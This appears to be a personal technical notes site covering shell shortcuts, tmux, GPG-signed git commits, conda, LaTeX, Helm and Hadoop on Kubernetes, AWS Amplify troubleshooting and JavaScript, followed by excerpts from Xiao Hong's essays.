Alt + B 或者 Ctrl + ⬅
向后(行末)移动
一个词
Alt + F 或者 Ctrl + ➡
删除整行(zshCtrl + U
删除光标处到行首的
所有字符(非 zsh
Ctrl + U
删除光标处到行末的
所有字符
Ctrl + K
删除一个词Ctrl + W 或者 Alt + D
上一条命令Ctrl + P 或者 ⬆
下一条命令Ctrl + N 或者 ⬇
打开编辑器编辑当前
指令
Ctrl + X, E

Ctrl + X,E 打开的编辑器是通过环境变量 $EDITOR 指定的。

这里有一张非常棒的图可作总结:

Navigating the Command Line

Note that Ctrl + D is sometimes captured as exit.

Random bash tips

mv/cp with wildcard (blob)

The following command will not work

mv "${dir}/*.txt" "${dir}/another_place"

* will not be expanded inside quotation marks. To make it work, * should be put outside the quote.

mv "${dir}/"*".txt" "${dir}/another_place"

Should have more explanation on wildcards and globs

Monitor everything...

pv: pipe viewer

Monitor tar extraction progress

pv file.tar.gz | tar -xz

Example:

$ pv big-files-1.tar.gz | tar -I pigz -x -C source/fasta/metaclust_db_1
9.30GiB 0:01:43 [93.1MiB/s] [=>             ] 17% ETA 0:08:12

Monitor tar compression progress

tar cf - . -P -T file_list.1 | pv -s $( du -sb <file_list.1 | awk '{print $1}') | pigz -k > big-files.tar.g

tmux usage 101

Motivation: why you should use tmux?

tmux is very useful under the following scenarios:

  1. When you ssh to a server, you would like to open multiple shells but don't want to ssh for multiple times.
  2. When you want to leave your work on the server running without needing to keep your shell alive, and moreover, you want to resume working on it afterwards

And it's just cool when you can split the shells windows!

Basic Usage

All the commands for tmux are only available after you type the command prefix (termed CmdP hereafter). By default it is Ctrl-b. After pressing this combination, it will activate the console mode (or so I believe).

Pane commands

CommandDescription
"Split current pane vertically, create new pane underneath
%Split current pane horizontally, create new pane on the right
xClose current pane (with confirmation, contrasst to simply pressing Ctrl-d)
zMaximize current pane (after v1.8)
!Move current pane to a new window and open it there
;Switch to the latest used pane
qShow pane number, and before the numbers disappear, you can switch to that pane by typing the number
{Swap forward current pane
}Swap backward current pane
Ctrl+oSwap all the panes in current window clockwise
arrowMove to the pane pointed by the arrow key (intuitive!)
oSwitch to the next (pane number order) pane
tShow a clock :)

Configure

Change command prefix

The default command prefix Ctrl-b is not a very good key binding: they are too far away! My choice is to change it to Ctrl-a, but it could be set to any keybinding you like.

We should use Ctrl-b and then type : to enter the command line mod and enter the following lines

set -g prefix C-a
unbind C-b
bind C-a send-prefix

My current favorite prefix is the grave accent (`), but this kinda hinders editing markdown in tmux.

If you would like to set it permanently, it is wise to create a ~/.tmux.conf, it functions just like your .bashrc and other dotfiles. If you

Since tmux 1.6, it is possible to set a second prefix by the following command:

set -g prefix2 <your-key-binding>

To apply changes, you need to source the configuration file:

tmux source-file ~/.tmux.conf

Colors

set -g default-terminal "screen-256color"
# or
set -g default-terminal "xterm-256color"

Rotate panes

CmdP space: (bound to next-layout by default) will cycle through available layouts.

Bug fixes

tmux session wrongly captures Home and End keys

Add the following lines to your ~/.tmux.conf:

bind-key -n Home send Escape "OH"
bind-key -n End send Escape "OF"

Reference

Shell-rc

For .bashrc, .zshrc, .profile, or even Microsoft.PowerShell_profile.ps1).

General

Know if I'm in WSL or native Linux

Simply check the content of /proc/version. WSLs will contain "Microsoft / microsoft" somewhere in the kernel build version (which is very interesting to me lol).

On WSL (running Ubuntu 18.04):

$ cat /proc/version
Linux version 4.19.128-microsoft-standard (oe-user@oe-host) (gcc version 8.2.0 (GCC)) #1 SMP Tue Jun 23 12:58:10 UTC 2020

Also, on WSL with Kali Linux:

$ cat /proc/version
Linux version 4.4.0-22000-Microsoft (Microsoft@Microsoft.com) (gcc version 5.4.0 (GCC) ) #653-Microsoft Wed Apr 27 16:06:00 PST 2022

On native Linux (here Debian 11 bullseye)

$ cat /proc/version
Linux version 5.10.0-13-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.106-1 (2022-03-17)

List files in a directory after cd

Unix shells:

function cd {
    builtin cd "$@"
    if [ $(ls | wc -l) -le 50 ]; then
        ls -F --color=auto
    else
        echo "There are a total of $(ls -F | wc -l) entries in $(pwd)"
    fi
}

PowerShell:

Function cd_custom {
    set-location @Args
    $numObj = 0
    $regex_opts = ([System.Text.RegularExpressions.RegexOptions]::IgnoreCase -bor [System.Text.RegularExpressions.RegexOptions]::Compiled)
    $hidden = New-Object System.Text.RegularExpressions.Regex('^\.', $regex_opts)

    get-childitem -n | foreach-object { if (!($hidden.IsMatch($_))) { $numObj++ } }
    if ( $numObj -le 30 ) {
        ls
    }
    else {
        Write-Output "There are a total of $numObj entries in $((Get-Location).path)"
    }
}

set-alias -Name cd -Value cd_custom -Option AllScope

.zshrc specific contents

Save history between sessions

Add those lines to ~/.zshrc:

export HISTFILE=~/.zsh_history # follow the convention of bash
export HISTSIZE=10000
export SAVEHIST=10000
setopt appendhistory

Also see this discussion in WSL gh issues, histories might not be saved if the session is not closed gracefully.

General tip is: always use exit or Ctrl+D.

Home and End wrongly captured by zsh

See [1] in Reference.

Run cat then press keys to see the codes your shortcut send and...

Add the key bindings to ~/.zshrc using bindkey. For example:

bindkey  "^[[1~"  beginning-of-line

PowerShell specific contents

bash-like ls

See my gist.

Reference

  1. ubuntu - Fix key settings (Home/End/Insert/Delete) in .zshrc when running Zsh in Terminator Terminal Emulator - Stack Overflow

GPG

Basics

List keys

$ gpg --list-secret-keys --keyid-format LONG
path/to/gnupg/pubring.kbx
------------------------------------------------
sec   rsa4096/20732A67E8F95BD9 2020-12-02 [SC]
      4BAE029D16C806BB4FCB925F20732A67E8F95BD9
uid                 Mischa "Matchy" Volynskaya
ssb   rsa4096/DABE372E78DCA377 2020-12-02 [E]

Export keys

$ gpg --export-secret-keys -a --output secretkey

Import keys (from the secretkey generated)

gpg --import secretkey

git gpg sign

Basics

Config signing key

git config --global user.signingkey <key id>

On (hopefully most) Linux distro the <key id> can be tab-completed. Unfortunately not possible for Windows PowerShell :(

Sign a single commit

git commit -S -m "commit message"

Always sign

git config --global commit.gpgsign true

Trouble shooting

If you receive errors like secrete key not available or no secret key (one example shown below), it is possible that the gpg program used by your git is different from your system's default gpg. Thus, the secret key was only imported to the system gpg, but is still unknown to git's gpg.

$ git commit -m "Test"
gpg: skipped "<key id>": No secret key
gpg: signing failed: No secret key
error: gpg failed to sign the data
fatal: failed to write commit object

To solve this issue, we need to configure git's gpg program to that with your secret key imported.

Run which gpg (*nix shells) or Get-Command gpg (PowerShell) to find that path to your system default gpg program.

$ which gpg
/usr/bin/gpg2
$ Get-Command gpg

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Application     gpg.exe                                            2.3.4.6... C:\Program Files (x86)\gnupg\bin\gpg.exe

Configure git to use the output (*nix shell) or the path listed in column Source (Powershell)

git config --global gpg.program "C:\Program Files (x86)\gnupg\bin\gpg.exe"

Alternatively, you can run this one-liner

git config --global gpg.program "$(which gpg)"
git config --global gpg.program (Get-Command gpg).Source

(Windows) commit signing takes too long

If you are using gpg on Windows, you might have noticed that signing a commit takes a long time. This is because gpg is trying to use the gpg-agent to cache the passphrase. However, the gpg-agent is not started by default on Windows. To solve this issue, you can start the gpg-agent by running the following command:

gpg-connect-agent /bye

You can also add this command to your Microsoft.PowerShell_profile.ps1 file to start the gpg-agent automatically when you start PowerShell.

Add-Content $PROFILE -Value "gpg-connect-agent /bye"

Or you can add a shortcut to gpg-connect-agent to your startup folder (e.g. C:\Users\<user-name>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)

References

The output format of w

w command shows who is logged on and what they are doing.

A typical output of w looks like this (the output is generated by copilot)

$ w
 23:02:30 up  1:01,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
jason    tty7     :0               22:01    1:01m  1.01s  1.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --systemd --session=ubuntu

The effect of flags such as -s are well explained in other places, so I will not repeat them here. However, for someone who's interested in parsing the output of w, the following information might be useful. -- you can always refer to the source code but I bet it would be better to have a quick reference here.

TTY

The TTY column shows the terminal name of the terminal the user is logged in on. It is very powerful -- it can distinguish between local terminal and pseudo-terminal, combining the info in FROM it can also distinguish between different pseudo-terminals (details later).

Different types of terminals are represented by different characters:

  • tty: A tty is a native terminal device, the backend is either hardware or kernel emulated.
  • pts: A pty (pseudo terminal device) is a terminal device which is emulated by an other program (example: xterm, screen, or ssh are such programs). A pts is the slave part of a pty. Most of the cases, it means the user is logged in via ssh or screen.
  • :0: A display is managed by a display manager (like gdm, kdm, or xdm). A display is NOT a terminal, but it can spawn terminals on request. (It does not have to be 0, if you have multiple displays, you will see :1, :2 etc.)

The number following pts or tty is the number of the terminal. For example, tty7 is the seventh terminal, pts/0 is the first pseudo-terminal.

FROM

The FROM column shows where the user logged in from. It is a string, and it can be:

  • :0: The user is logged in from a display manager.
  • IP address: The user is logged in from a remote machine via ssh.
  • Starts with :pts/0: Usually means that this is a xterm or screen session.
  • Starts with tmux(114514): Definitely a tmux session.

IDLE, JCPU and PCPU

Their outputs are all foramtted using print_time_ival7 function. I'll use python-like pseudocode to explain.

if idle_time <= 60s:
    output "{seconds}.{centiseconds}s" # e.g. 3.05s
    # first number will not be zero padded, but the second number will be
elif idle_time > 60s and idle_time < 1 hour:
    output "{minutes}:{seconds}" # e.g. 1:03
    # first number will not be zero padded, but the second number will be
elif idle_time >= 1 hour and idle_time < 2days:
    output "{hours}:{minutes}m" # e.g. 1:03m
    # first number will not be zero padded, but the second number will be
elif idle_time >= 2 days:
    output "{days}days" # e.g. 2days

So if you want to parse idle time / JCPU / PCPU, one should first check according to whether the string contains days, m, s or : and then decide how to parse it.

LOGIN@

if current_time - login_time > 12 hours and login_time.day_in_the_year is not today:
    if current_time - login_time > 6 days:
        output "{day}{month}{year}" # e.g. 07Aug23
        # the year is actually calculated by number of years from 1900 modulo 100
    else:
        output "{weekday}{hour}" # Wed08
        # the hour is in 24-hour format
else:
    output "{hour}:{minute}" # 03:02
    # the hour is in 24-hour format
    # both numbers will be zero padded

To parse this, one could possibly use the length of the string to first determine whether it is in day-month-year format (7 in length). If it's 5 in length, then one could check whether it contains : to determine whether it's in hour-minute format or weekday-hour format.

Git (not 101)

Troubleshooting

git pull stuck at "Receiving objects"/"Unpacking objects"

git fsck && git gc --prune=now

Or if on Windows 11:

git config --global core.sshCommand "C:/Windows/System32/OpenSSH/ssh.exe"

i.e. use the built-in ssh.exe instead of the one packaged with Git for Windows.

Also see gpg - trouble shooting chapter for gpg signing related issues.

Basically, things shipped with Git for Windows are evil, always consider using the system default / your customed download!

Bibliography

  1. ssh - Git fetch/pull/clone hangs on receiving objects - Stack Overflow
  2. github - git stuck on Unpacking Objects phase - Stack Overflow

General Python-related notes

Cannot pickle TextIOWrapper objects

Do not use multiprocessing in combination with tqdm. Turns out the tqdm progress bar is not picklable.

Version and package management

General

TODO: plain venv, conda, poetry, pyenv, pyenv-virtualenv, pdm comparison

conda and conda-like

  • conda is a package manager that also manages virtual environments.
  • mamba is a faster drop-in replacement for conda.

They both have their full-fledged version and "mini" version, e.g. anaconda and miniconda / mambaforge and miniforge.

Migrate condainstallation to a different directory

At installation, it's possible to select the directory where the environment will be stored.

After installation:

  1. Simply move the $HOME/miniconda3 (default installation) to the new directory.
  2. Open /path/to/new/dir/miniconda3/condabin/conda and change the !/$HOME/miniconda3/python to !/path/to/new/dir/miniconda3/python.
  3. Run /path/to/new/dir/miniconda3/condabin/conda init to update the shell initialization script.

Usually this will be enough. If not, you might need to update the PATH variable in the shell initialization script.

Use libmamba solver for conda

# need conda > 22.11
conda update -n base -c defaults conda
conda install -n base conda-libmamba-solver
conda config --set solver libmamba

VSCode tips

Platform specific settings

I asked the following questions in my personal Telegram group one day...

incentive

And my friend FluorineDog enlightened me that the ${env:variable} syntax could be a workaround.

E.g. create an environment variable in the name of EXE_HOME and use the platform-specific executable in the form of ${env:EXE_HOME}/<executable>.

But that's not necessary for LaTeX workshop...

But I actually only want to solve the compilation problem of my $\LaTeX$ workshop: I sometimes compile locally on my personal laptop, which has ; and sometimes on a server w/ Debian 11. The solution for my problem is actually simple: set up TEXMFHOME on each machine.

To be specific, add the following line in your .bashrc or .zshrc or .whatever-rc:

export TEXMFHOME="/path/to/your/latexmk"

Change VSCode Remote installation directory

Use remote.SSH.serverInstallPath to change the installation directory of the VSCode Remote extension.

Important if: 1. you have a small root partition; 2. you want to install the extension on a network drive.

{ // settings.json
    // ...
    "remote.SSH.serverInstallPath": {
        "work": "/test/location", // foramt:  "hostname": "/path/to/install"
        "home": "/foobar"
    },
    // ...
}

JetBrains IDEs tips

GateWay

Change remote IDE installation directory

Change the installation options here:

Change installation options

General LaTeX tricks

一些我还没有熟练掌握的 \(\LaTeX\) 技巧

在 math environment 里 format 字体

Bold

% preamble
% ...

\usepackage{bm}

% ...
% end of preamble

\begin{document}
% ...

\[
    \bm{A}
\]

%...
\end{document}

pdfpages: insert pdf pages in a \(\LaTeX\) file

对于做 take-home exam 有奇效。

% preamble
% ...

\usepackage{pdfpages}

% ...
% end of preamble

\begin{document}
% ...

% include all pages
\includepdf[pages=-]{pdfname1.pdf}

% include certain pages (here 1, 3, 5)
\includepdf[page={1,3,5}]{pdfname2.pdf}

%...
\end{document}

datetime2: foramt datetime :)

Set up new date style

The 4 input parameters for \DTMdisplaydate are 1. year, 2. month, 3. date, 4. dow. The package asks the users to refer to the input parameters using a double-hash + param number. Thus, while designing the format string, we should refer to year by ##1, month by ##2 and date by ##3.

\DTMnewdatestyle{kordate}% label, just a token
{% definitions
    \renewcommand*{\DTMdisplaydate}[4]{
        % format string
        \number##1년 \number##2월 \number##3일
    }%
    \renewcommand*{\DTMDisplaydate}{\DTMdisplaydate} %Capitalize
}

Also note that, any fragile command used by the format string (inside \renewcommand) should be wrapped with \protect. An example in the (not so easy to read documentation of datetime2) below:

% omitted preamble
\DTMnewdatestyle{usvardate}{%
    \renewcommand{\DTMdisplaydate}[4]{%
        \DTMmonthname{##2} \ordinalnum{##2}, \number##1 }%
    \renewcommand{\DTMDisplaydate}{\DTMdisplaydate}%
}%
\DTMsetdatestyle{usvardate}

\begin{document}
    \section{\today: an example}
    \today.
\end{document}

This document can’t compile properly and causes the error:

! Argument of \@sect has an extra }.
<inserted text>
                \par

This is because the style definition has made \today fragile because it uses an unprotected fragile command. This can be fixed by protecting \ordinalnum in the style definition.

LaTeX Workshop

LaTeX workshop formatter

Utilize latexindent on Debian/Ubuntu.

It is a Perl script depending on YAML::Tiny and File::HomeDir. Be sure to install the deps through cpan:

sudo cpan YAML::Tiny File::HomeDir

在 kubernetes 集群部署 hadoop

实际上这是一个差的想法。

使用 helm 安装

下载 helm

curl https://baltocdn.com/helm/signing.asc | sudo apt-key add -
sudo apt-get install apt-transport-https --yes
echo "deb https://baltocdn.com/helm/stable/debian/ all main" | sudo tee /etc/apt/sources.list.d/helm-stable-debian.list
sudo apt-get update
sudo apt-get install helm

Create a chart

helm create mychart

默认的 chart 是个 nginx web server。可以部署上去看看

Install a chart

helm install mychart-release-name mychart
export POD_NAME=$(kubectl get pods --namespace default -l "app.kubernetes.io/name=mychart-release-name,app.kubernetes.io/instance=cluster-name" -o jsonpath="{.items[0].metadata.name}")
export CONTAINER_PORT=$(kubectl get pod --namespace default $POD_NAME -o jsonpath="{.spec.containers[0].ports[0].containerPort}")
echo "Visit http://127.0.0.1:8080 to use your application"
kubectl --namespace default port-forward $POD_NAME 8080:$CONTAINER_PORT

Uninstall chart

$ helm list
NAME                     NAMESPACE       REVISION        UPDATED                                 STATUS          CHART           APP VERSION
mychart-release-name     default         1               2020-12-05 18:53:26.6995927 +0900 KST   deployed        mychart-0.1.0   1.16.0
helm uninstall mychart-release-name

Can also be done by delete del un.

Install hadoop chart

To install the chart with the release name hadoop that utilizes 50% of the available node resources:

helm install hadoop stable/hadoop

This command will deploy at least 4 pods on your cluster according to the default settings.

  1. hdfs namenode pod
  2. hdfs datanode
  3. yarn resource manager
  4. yarn name manager

Usage

  1. You can check the status of HDFS by running this command:

    kubectl exec -n default -it hadoop-hadoop-hdfs-nn-0 -- hdfs dfsadmin -report
    
  2. You can list the yarn nodes by running this command:

    kubectl exec -n default -it hadoop-hadoop-yarn-rm-0 -- yarn node -list
    
  3. Create a port-forward to the yarn resource manager UI:

    kubectl port-forward -n default hadoop-hadoop-yarn-rm-0 8088:8088
    

    Then open the ui in your browser:

    open http://localhost:8088
    
  4. You can run included hadoop tests like this:

    kubectl exec -n default -it hadoop-hadoop-yarn-nm-0 -- hadoop jar /usr/local/hadoop/share/hadoop/mapreduce/hadoop-mapreduce-client-jobclient-2.9.0-tests.jar TestDFSIO -write -nrFiles 5 -fileSize 128MB -resFile /tmp/TestDFSIOwrite.txt
    
  5. You can list the mapreduce jobs like this:

    kubectl exec -n default -it hadoop-hadoop-yarn-rm-0 -- mapred job -list
    
  6. This chart can also be used with the zeppelin chart

    helm install --namespace default --set hadoop.useConfigMap=true,hadoop.configMapName=hadoop-hadoop stable/zeppelin
    
  7. You can scale the number of yarn nodes like this:

    helm upgrade hadoop --set yarn.nodeManager.replicas=4 stable/hadoop
    

    Make sure to update the values.yaml if you want to make this permanent.

Edit helm release

helm upgrade -f new-values.yml {release name} {package name or path} --version {fixed-version}

AWS Amplify 踩坑记录🕳

我也不知道这算不算 DevOps

试图从 staging clone 出一个配置一样的 dev 环境

被坑过程

Amplify backend 已有 staging,想直接再 Amplify Console clone 失败了, 出来一份空的 :/

在本地有 staging backend 配置表的分支 development 上拉取 dev environment:

amplify pull --appId <appId> --envName dev

之后进行 push,提示 HostedUIProvidersCustomResourceInputs update 失败。

Embedded stack arn:aws:cloudformation:<myapp> was not successfully updated. Currently in UPDATE_ROLLBACK_IN_PROGRESS with reason: The following resource(s) failed to update: [HostedUIProvidersCustomResourceInputs].

谷歌到 这个 issue,提示可能是 tream-provider-info.json 里缺 auth 内容。看了一下果然是空的。

在 JSON 里添加 auth 相关字段。

{
  ...
  "categories": {
      "auth": {
        "<appName>": {
          "userPoolId": "...",
          "userPoolName": "...",
          "webClientId": "...",
          "nativeClientId": "..."
        }
      }
    }
}

再次 amplify push, 提示 [webClientId, nativeClientId, userPooId] does not exist in the template

UPDATE_FAILED auth<appName> AWS::CloudFormation::Stack <TIME> Parameters: [webClientId, nativeClientId, userPoolId] do not exist in the template

重新阅读上面提到的 issue,在对话里翻出 这么一条:原因是切换环境之后 $HOME directory 下 .aws 的 global settings 中 Amplify 的 deployment-secrets.json 没有正确 fetch 到。这又是 @aws-amplify/cli 更新到新版本之后的改动……

哎。无语了。

$HOME/.aws/amplify/deployment-secrets.json 中把对应社交平台的 [ProvidersCustomResourceInputs]clientIDclientSecrets 填好(哪怕是 dummy ID & secrets 也行得通,只要不是空的),就能正常 deploy 了。

总结:

  1. 真的不要随便升级 amplify cli
  2. 创建 resource 一定要在本地,改动则不要在本地,要在 web console……

Debug Amplify admin UI

If you ever encounter any error in your Amplify Admin UI, it's useful to open the debug view in your browser and checkout the console.

Amplify Admin UI error

In Chrome just press F12. There will be some usefull messages concerning what is wrong when Amplify tried to send request to the components in your app.

Browser Debug Console

Here I have some Uncaught error in one of the items in my DynamoDB...

Amplify 7.6.x graphql api migration

Update from 7.5.x to 7.6.x will break the models created before since they Amplify team introduced new directives.

Run the follwing command to migrate API.

$ amplify migrate api

Previously you would have to create a “join table” manually between two models and create hasMany relationships from both models into that join table as a work around for this feature. With the new transformer, you can specify a @manyToMany relationship between the models and Amplify CLI will create the join tables behind the scenes.

However, currently (01/01/2022) AWS Amplify DOES NOT successfully support migration of existing joint table.

If you have a schema.graphql like this:

type Student @model @auth(rules: [{allow: private}]) {
  id: ID!
  email: AWSEmail
  email_verified: Boolean
  name: String
  profile: ID
  role: String
  ClassJoined: [StudentClass] @hasMany(indexName: "byStudent", fields: ["id"])
  ArtWorks: [ArtWork] @hasMany(indexName: "byStudent", fields: ["id"])
  Comments: [Comment] @hasMany(indexName: "byStudent", fields: ["id"])
}

type Class @model @auth(rules: [{allow: private}]) {
  id: ID!
  name: String!
  description: String!
  ...
  startDate: AWSDateTime
  students: [StudentClass] @hasMany(indexName: "byClass", fields: ["id"])
  teacherID: ID @index(name: "byTeacher")
}

type StudentClass @model(queries: null) @auth(rules: [{allow: private}]) {
  id: ID!
  studentID: ID! @index(name: "byStudent", sortKeyFields: ["classID"])
  classID: ID! @index(name: "byClass", sortKeyFields: ["studentID"])
  student: Student! @belongsTo(fields: ["studentID"])
  class: Class! @belongsTo(fields: ["classID"])
}

Unfortunately we have two @index, and Amplify fails to find the second (here byClass).

修理 hexo-douban

在新博客使用了 hexo-douban 这个库,想展示自己的豆瓣阅读、观影等等。但是生成的豆瓣页在 Fluid 主题下图片显示有点问题,需要手动改 css 来解决;同时装了 bluebird 又检测到几处 TypeError,需要修改 js 源码。 原作者已经没有精力维护这个库了,npm 肯定不会更新,而我又依赖 GitHub Actions 来部署。如何应用自己的手动修改是个问题。

使用 patch-package 给包打补丁

这里推荐个小工具 patch-package。就是给依赖库打个补丁,不影响依赖库正常升级,只是涉及到你修改的内容会用你的补丁替换。

直接在依赖库中编辑修复有 bug 的文件,然后该工具会生成个临时文件夹存放对应版本的依赖库,然后和你修改的依赖库目录去进行比较,生成一个 patch 文件,下次在执行 npm install 时,该工具会将该 patch 合进该依赖库去。

具体操作步骤

  1. 项目的根目录 package.json 下,添加 npm postinstall, 以便每次执行 npm install 时能合进所有的patch文件:

    "scripts": {
       ...
    +  "postinstall": "patch-package"
       ...
    }
    
  2. 安装 patch-package

    npm i patch-package --save
    
  3. 编辑依赖库 <package-name>, 并执行下面命令生成 patch 文件

    npx patch-package <package-name>
    
  4. 再执行以下命令,你就发现最新安装的包已经合进了你刚刚修改的 patch 文件了

    npm install
    

Reference

  1. JeanZhao: 修改node_modules中依赖库

群友教我写 js

完全不懂前端硬写课设的时候学到的一星半点姿势。

this in js

I defined a class called PictureStore which contains a property rootStore and has a function uploadPicture(). Inside uploadPicture(), I need to access rootStore to retrieve some properties.

At first I defined them in this way:

class PictureStore {
  rootStore : RootStore;
  ... // omitted
  async uploadPicture() {
    ... // omitted
    let something = this.rootStore.doSomething();
    ... // omitted
  }
  ... // omitted
}

Unfortunately I received Unhandled TypeError, which claimed that rootStore is undefined.

Master Bai told me to re-write the definition of uploadPicture() in this way:

class PictureStore {
rootStore : RootStore;
  ... // omitted
  uploadPicture = async () => {
    ... // omitted
    let something = this.rootStore.doSomething();
    ... // omitted
  }
  ... // omitted
}

which fixed the bug nicely.

The reason is that this in js works weirdly (well, in my opinion).

MDN's document about this explains nicely about everything related to this. I'll extract the contents related to my bug here:

In strict mode (which is the mode my application uses), if the value of this is not set when entering an execution context, it remains as undefined. However, in arrow functions (to understand it naively, they are functions in the form of var fun = () => {}), this retains the value of the enclosing lexical context's this , that is, the this of arrow functions inside a class will be resolved to the class's this.

Literature Excerpts

萧红

商市街

百万书库 - 萧红散文

前言

她的童年,即是在孤寂中度过的。家庭的富裕并没有给她带来幸福,年幼丧母,父亲和继母的贪婪冷酷,使聪敏的她过早地品尝了寂寞的滋味,她生活在缺少爱的世界中只有祖父等很少的人给她一点安慰。也许正由于这种境遇,外界发生的一切才得以清晰地印在她的脑海之中,供她日后反复回味、抒写。

一段时间内,她挣扎在生活的边缘,她这样描述自己:“我穿着街头,我无目的的走。”——她是宁愿漂流,宁愿无家可归,也不肯走回父亲的冷酷的眼光中。

“冻死,饿死,黑暗死,每天都有这样的事情,把持住自己,渡我们的桥梁吧,小孩子!”当然他们并没有只渡自己的桥,周围这太多的在生存困境中挣扎的受难者,这无声无息的一群“一点生命也感不到的活着”,构成了这个无望无爱的世界最凄惨的色调,萧红的早期作品(如《王阿嫂的死》)即是为这些众生画像、呼号。

苦难毁灭了她,同时也造就了她。可以说,萧红最成功的作品几乎都与她经历、见闻过的辛酸人事相关。从备受压抑的童年到颠沛流离的青年时代,从自己到别人,从中国人到外国人,从人到动物,凡是残损的生命形式,她都加以深切的关怀,她不愿看到美好的生命被轻而易举地撕扯成碎片。所以她在自己挣扎的同时,她用笔来瓦解这个凶残而失去了人性的世界,度己度人:这就是萧红创作的基本主题。

她始终摆脱不掉童年的影子,也许她是在用这种遥远的回忆来补偿和对抗对现实生活中的不如意,所以她笔下的童年世界尽管阴冷如东北的天气,尽管活动其中的多是冷血动物,但也有了解她给她快乐的人,有让她全神贯注的游戏,有夏夜草丛中的虫鸣,所有这些都是她难以忘怀、着意强调的。她尤其津津乐道于她的游戏:发自天真的内心,在与刻板冷漠的成人世界对照时总带着一种亵渎意味的游戏。对哈尔滨一段生活的回顾,不是无力的呻吟与诉苦。独自流浪时她倔强地挣扎,她宣誓般地说永不回家,她承受得住这种命运

但在她周围的苦难世界中,萧红发现不了一点温暖与情致:一切都是赤裸裸血淋淋的悲惨,类似地狱:黑暗,冷漠,沉闷,令人绝望。她只能带着同情如实描绘。

萧红的笔致,天真,细腻,而又带一点“野味”[……]她是用“初生的眼”看世界,仿佛一切都神秘而新鲜,陌生而有趣。当然,天真并不意味着简单,相反,萧红给我们创造的是细致入微的、感觉化的世界:她不空洞地宣泄,而是一点一滴地展现。

永久的憧憬和追求

九岁时,母亲死去。父亲也就更变了样,偶然打碎了一只杯子,他就要骂到使人发抖的程度。后来就连父亲的眼睛也转了弯,每从他的身边经过,我就象自己的身上生了针刺一样:他斜视着你,他那高傲的眼光从鼻梁经过嘴角而后往下流着

所以每每在大雪中的黄昏里,围着暖炉,围着祖父,听着祖父读着诗篇,看着祖父读着诗篇时微红的嘴唇。

父亲打了我的时候,我就在祖父的房里,一直面向着窗子,从黄昏到深夜——窗外的白雪,好象白棉花一样飘着;而暖炉上水壶的盖子,则象伴奏的乐器似的振动着。

祖父时时把多纹的两手放在我的肩上,而后又放在我的头上,我的耳边便响着这样的声音:

“快快长吧!长大就好了。”

二十岁那年,我就逃出了父亲的家庭。直到现在还是过着流浪的生活。

“长大”是“长大”了,而没有“好”。

可是从祖父那里,知道了人生除掉了冰冷和憎恶而外,还有温暖和爱。

所以我就向这“温暖”和“爱”的方面,怀着永久的憧憬和追求。

夏夜

密密的浓黑的一带长林,远在天边静止着。夏夜蓝色的天,蓝色的夜。夏夜坐在茅檐边,望着茅檐借宿麻雀的窠巢,隔着墙可以望见北山森静的密林,林的那端,望不见弯月勾垂着。

于是虫声,各样的穿着夜衣的幽灵般的生命的响叫。墙外小溪畅引着,水声脆脆瑯瑯。菱姑在北窗下语着多时了!眼泪凝和着夜露已经多时了!她依着一株花枝,花枝的影子抹上墙去,那样她俨若睡在荷叶上。

那夜我怎样努力也不能睡着,我反复想过菱姑的话,可怜的菱姑她只知道在家庭里是受压迫,因为家中有腐败的老太婆。然而她不能知道工厂里更有齿轮,齿轮更会压榨

感情的碎片

近来觉得眼泪常常充满着眼睛,热的,它们常常会使我的眼围发烧。然而它们一次也没有滚落下来,有时候它们站到了眼毛的尖端,闪耀着玻璃似的液体,每每在镜子里面看到。

一看到这样的眼睛,又好像回到了母亲死的时候。母亲并不十分爱我,但也总算是母亲。她病了三天了,是七月的末梢,许多医生来过了,他们骑着白马,坐着二轮车,但那最高的一个,他用银针在母亲的腿上刺了一下,他说:

“血流则生,不流则亡。”

我确确实实看到那针孔是没有流血,只是母亲的腿上凭空多了一个黑点。

而后我站到房后摆着花盆的木架旁边去。我从衣袋取出来母亲买给我的小洋刀。

“小洋刀丢了就从此没有了吧?”于是眼泪又来了。

花盆里的金百合映着我的眼睛,小洋刀的闪光映着我的眼睛。眼泪就再没有流落下来。然而那是热的,是发炎的。但那是孩子的时候。

而今则不应该了。

祖父死了的时候

祖父总是有点变样子,他喜欢流起眼泪来,同时过去很重要的事情他也忘掉。比方过去那一些他常讲的故事,现在讲起来,讲了一半下一半他就说:“我记不得了。”

某夜,他又病了一次,经过这一次病,他竟说:“给你三姑写信,叫她来一趟,我不是四五年没看过她吗?”他叫我写信给我已经死去五年的姑母。

那次离家是很痛苦的。学校来了开学通知信,祖父又一天一天地变样起来。

祖父睡着的时候,我就躺在他的旁边哭,好象祖父已经离开我死去似的,一面哭着一面抬头看他凹陷的嘴唇。我若死掉祖父,就死掉我一生最重要的一个人,好象他死了就把人间一切“爱”和“温暖”带得空空虚虚。我的心被丝线扎住或铁丝绞住了。

学校开学,我迟到了四天。三月里,我又回家一次,正在外面叫门,里面小弟弟嚷着:“姐姐回来了!姐姐回来了!”大门开时,我就远远注意着祖父住着的那间房子。**果然祖父的面孔和胡子闪现在玻璃窗里。我跳着笑着跑进屋去。但不是高兴,只是心酸,祖父的脸色更惨淡更白了。**等屋子里一个人没有时,他流着泪,他慌慌忙忙的一边用袖口擦着眼泪,一边抖动着嘴唇说:“爷爷不行了,不知早晚……前些日子好险没跌……跌死。”

“怎么跌的?”

“就是在后屋,我想去解手,招呼人,也听不见,按电铃也没有人来,就得爬啦。还没到后门口,腿颤,心跳,眼前发花了一阵就倒下去。没跌断了腰……人老了,有什么用处!爷爷是八十一岁呢。”

“爷爷是八十一岁。”

“没用了,活了八十一岁还是在地上爬呢!我想你看不着爷爷了,谁知没有跌死,我又慢慢爬到炕上。”

我走的那天也是和我回来那天一样,白色的脸的轮廓闪现在玻璃窗里。

在院心我回头看着祖父的面孔,走到大门口,在大门口我仍可看见,出了大门,就被门扇遮断。

